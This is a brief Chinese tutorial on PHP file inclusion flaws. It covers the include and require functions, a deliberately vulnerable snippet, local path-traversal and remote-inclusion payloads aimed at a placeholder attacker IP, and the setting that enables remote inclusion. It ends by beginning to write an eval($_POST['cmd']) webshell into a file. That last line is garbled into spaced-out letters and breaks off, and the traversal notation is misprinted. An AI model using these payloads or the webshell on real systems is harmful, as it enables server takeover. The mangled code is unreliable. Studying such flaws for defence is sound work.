什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含
几个文件包含函数及特点
include函数
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
include_once函数
功能与include()相同,但程序只调用一次
require函数
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once函数
功能与require()相同,但程序只调用一次
常见的文件包含漏洞代码
<?php $filename = $_GET['filename']; include($filename); ?>
这样就可以去读取一个文件
payload: ?filename=xxx.xxx
一般是使用相对路径
相对当前文件的另一个文件的位置
…/即前往上一级
要回到根目录可以使用多个…/
本地文件包含
被包含的文件在服务器本地
利用方式
包含本地敏感文件, 上传文件
远程文件包含
利用方式
包含远程攻击者指定远程url文件
被包含的文件在远程服务端
要php.ini配置为允许远程包含
5.x版本之后默认为关闭状态
若要进行远程文件包含测试
在php.ini中修改allow_url_include=On
远程文件包含payload: ?page=xxx.xxx.xxx.xxx/phpinfo.php
xxx为你要远程包含的ip地址
远程包含写入一句话木马
<?php $payload = "<?php eval(\$_POST['cmd'])?>";
m y f i l e = f o p e n ( ′ d e m o . p h p